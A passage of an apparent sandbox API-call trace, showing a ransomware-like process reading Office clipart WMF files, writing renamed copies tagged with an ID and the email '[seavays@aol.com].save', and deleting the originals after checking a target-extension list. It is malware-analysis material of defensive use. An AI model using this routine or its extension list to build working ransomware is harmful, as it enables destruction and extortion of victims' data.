lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0168.012] WriteFile (in: hFile=0x514, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0168.012] SetEndOfFile (hFile=0x514) returned 1 [0168.012] CloseHandle (hObject=0x514) returned 1 [0168.012] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0168.012] SetEndOfFile (hFile=0x50c) returned 1 [0168.017] CloseHandle (hObject=0x50c) returned 1 [0168.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0168.018] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103812.wmf")) returned 1 [0168.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0168.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0168.019] lstrlenW (lpString=".doc") returned 4 [0168.019] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.019] lstrlenW (lpString=".docx") returned 5 [0168.019] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.019] lstrlenW (lpString=".pdf") returned 4 [0168.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.019] lstrlenW (lpString=".xls") returned 4 [0168.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.019] lstrlenW (lpString=".xlsx") returned 5 [0168.019] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.019] lstrlenW (lpString=".ppt") returned 4 [0168.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0168.020] lstrlenW (lpString=".zip") returned 4 [0168.020] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.020] lstrlenW (lpString=".rar") returned 4 [0168.020] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.020] lstrlenW (lpString=".bz2") returned 4 [0168.020] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.020] lstrlenW (lpString=".7z") returned 3 [0168.020] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0168.020] lstrlenW (lpString=".dbf") returned 4 [0168.020] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0168.020] lstrlenW (lpString=".1cd") returned 4 [0168.020] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0168.020] lstrlenW (lpString=".jpg") returned 4 [0168.020] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0168.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0168.020] lstrlenW (lpString=".doc") returned 4 [0168.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.020] lstrlenW (lpString=".docx") returned 5 [0168.020] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.021] lstrlenW (lpString=".pdf") returned 4 [0168.021] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.021] lstrlenW (lpString=".xls") returned 4 [0168.021] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.021] lstrlenW (lpString=".xlsx") returned 5 [0168.021] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.021] lstrlenW (lpString=".ppt") returned 4 [0168.021] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0168.021] lstrlenW (lpString=".zip") returned 4 [0168.021] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.021] lstrlenW (lpString=".rar") returned 4 [0168.021] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.021] lstrlenW (lpString=".bz2") returned 4 [0168.021] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.021] lstrlenW (lpString=".7z") returned 3 [0168.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0168.021] lstrlenW (lpString=".dbf") returned 4 [0168.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0168.021] lstrlenW (lpString=".1cd") returned 4 [0168.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103812.WMF") returned 68 [0168.021] lstrlenW (lpString=".jpg") returned 4 [0168.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.022] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0168.022] lstrlenW (lpString="J0105232.WMF") returned 12 [0168.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0168.023] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=5632) returned 1 [0168.023] CloseHandle (hObject=0x50c) returned 1 [0168.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 0x220 [0168.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0168.024] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0168.024] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0168.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0168.025] GetLastError () returned 0x0 [0168.025] ReadFile (in: hFile=0x50c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x1600, lpOverlapped=0x0) returned 1 [0168.027] WriteFile (in: hFile=0x514, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x1610, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x1610, lpOverlapped=0x0) returned 1 [0168.030] ReadFile (in: hFile=0x50c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0168.030] WriteFile (in: hFile=0x514, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0168.030] SetEndOfFile (hFile=0x514) returned 1 [0168.030] CloseHandle (hObject=0x514) returned 1 [0168.031] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0168.031] SetEndOfFile (hFile=0x50c) returned 1 [0168.035] CloseHandle (hObject=0x50c) returned 1 [0168.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0168.035] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105232.wmf")) returned 1 [0168.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0168.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0168.036] lstrlenW (lpString=".doc") returned 4 [0168.036] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.036] lstrlenW (lpString=".docx") returned 5 [0168.036] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.036] lstrlenW (lpString=".pdf") returned 4 [0168.037] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.037] lstrlenW (lpString=".xls") returned 4 [0168.037] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.037] lstrlenW (lpString=".xlsx") returned 5 [0168.037] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.037] lstrlenW (lpString=".ppt") returned 4 [0168.037] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0168.037] lstrlenW (lpString=".zip") returned 4 [0168.037] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.037] lstrlenW (lpString=".rar") returned 4 [0168.037] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.037] lstrlenW (lpString=".bz2") returned 4 [0168.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.037] lstrlenW (lpString=".7z") returned 3 [0168.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0168.037] lstrlenW (lpString=".dbf") returned 4 [0168.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0168.037] lstrlenW (lpString=".1cd") returned 4 [0168.037] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0168.037] lstrlenW (lpString=".jpg") returned 4 [0168.037] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0168.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0168.038] lstrlenW (lpString=".doc") returned 4 [0168.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.038] lstrlenW (lpString=".docx") returned 5 [0168.038] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0168.038] lstrlenW (lpString=".pdf") returned 4 [0168.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.038] lstrlenW (lpString=".xls") returned 4 [0168.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.038] lstrlenW (lpString=".xlsx") returned 5 [0168.038] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0168.038] lstrlenW (lpString=".ppt") returned 4 [0168.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0168.038] lstrlenW (lpString=".zip") returned 4 [0168.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.038] lstrlenW (lpString=".rar") returned 4 [0168.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.038] lstrlenW (lpString=".bz2") returned 4 [0168.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.038] lstrlenW (lpString=".7z") returned 3 [0168.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0168.038] lstrlenW (lpString=".dbf") returned 4 [0168.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0168.039] lstrlenW (lpString=".1cd") returned 4 [0168.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105232.WMF") returned 68 [0168.039] lstrlenW (lpString=".jpg") returned 4 [0168.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.039] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0168.039] lstrlenW (lpString="J0105234.WMF") returned 12 [0168.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0168.041] GetFileSizeEx (in: hFile=0x50c, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=3444) returned 1 [0168.041] CloseHandle (hObject=0x50c) returned 1 [0168.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 0x220 [0168.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0168.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x50c [0168.042] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0168.042] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0168.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0168.044] GetLastError () returned 0x0 [0168.044] ReadFile (in: hFile=0x50c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0xd74, lpOverlapped=0x0) returned 1 [0168.368] WriteFile (in: hFile=0x514, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xd80, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xd80, lpOverlapped=0x0) returned 1 [0168.370] ReadFile (in: hFile=0x50c, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0168.370] WriteFile (in: hFile=0x514, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0168.370] SetEndOfFile (hFile=0x514) returned 1 [0168.370] CloseHandle (hObject=0x514) returned 1 [0168.370] SetFilePointerEx (in: hFile=0x50c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0168.370] SetEndOfFile (hFile=0x50c) returned 1 [0168.374] CloseHandle (hObject=0x50c) returned 1 [0168.374] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0168.613] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105234.wmf")) returned 1 [0168.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0168.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0168.805] lstrlenW (lpString=".doc") returned 4 [0168.805] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.805] lstrlenW (lpString=".docx") returned 5 [0168.805] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.805] lstrlenW (lpString=".pdf") returned 4 [0168.805] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.805] lstrlenW (lpString=".xls") returned 4 [0168.805] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.805] lstrlenW (lpString=".xlsx") returned 5 [0168.805] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.805] lstrlenW (lpString=".ppt") returned 4 [0168.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0168.806] lstrlenW (lpString=".zip") returned 4 [0168.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.806] lstrlenW (lpString=".rar") returned 4 [0168.806] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.806] lstrlenW (lpString=".bz2") returned 4 [0168.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.806] lstrlenW (lpString=".7z") returned 3 [0168.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0168.806] lstrlenW (lpString=".dbf") returned 4 [0168.806] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0168.806] lstrlenW (lpString=".1cd") returned 4 [0168.806] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0168.806] lstrlenW (lpString=".jpg") returned 4 [0168.806] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0168.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0168.806] lstrlenW (lpString=".doc") returned 4 [0168.806] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.806] lstrlenW (lpString=".docx") returned 5 [0168.806] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0168.806] lstrlenW (lpString=".pdf") returned 4 [0168.807] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.807] lstrlenW (lpString=".xls") returned 4 [0168.807] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.807] lstrlenW (lpString=".xlsx") returned 5 [0168.807] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0168.807] lstrlenW (lpString=".ppt") returned 4 [0168.807] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0168.807] lstrlenW (lpString=".zip") returned 4 [0168.807] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.807] lstrlenW (lpString=".rar") returned 4 [0168.807] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.807] lstrlenW (lpString=".bz2") returned 4 [0168.807] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.807] lstrlenW (lpString=".7z") returned 3 [0168.807] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0168.807] lstrlenW (lpString=".dbf") returned 4 [0168.807] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0168.807] lstrlenW (lpString=".1cd") returned 4 [0168.807] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.807] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105234.WMF") returned 68 [0168.807] lstrlenW (lpString=".jpg") returned 4 [0168.807] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.808] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0168.808] lstrlenW (lpString="J0105320.WMF") returned 12 [0168.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0169.365] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=2020) returned 1 [0169.365] CloseHandle (hObject=0x520) returned 1 [0169.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf")) returned 0x220 [0169.873] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0169.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0169.874] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0169.874] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0169.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105320.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105320.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0169.876] GetLastError () returned 0x0 [0169.876] ReadFile (in: hFile=0x540, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x7e4, lpOverlapped=0x0) returned 1 [0169.878] WriteFile (in: hFile=0x51c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x7f0, lpOverlapped=0x0) returned 1 [0169.879] ReadFile (in: hFile=0x540, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0169.879] WriteFile (in: hFile=0x51c, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0169.879] SetEndOfFile (hFile=0x51c) returned 1 [0169.880] CloseHandle (hObject=0x51c) returned 1 [0169.880] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0169.880] SetEndOfFile (hFile=0x540) returned 1 [0169.883] CloseHandle (hObject=0x540) returned 1 [0169.883] 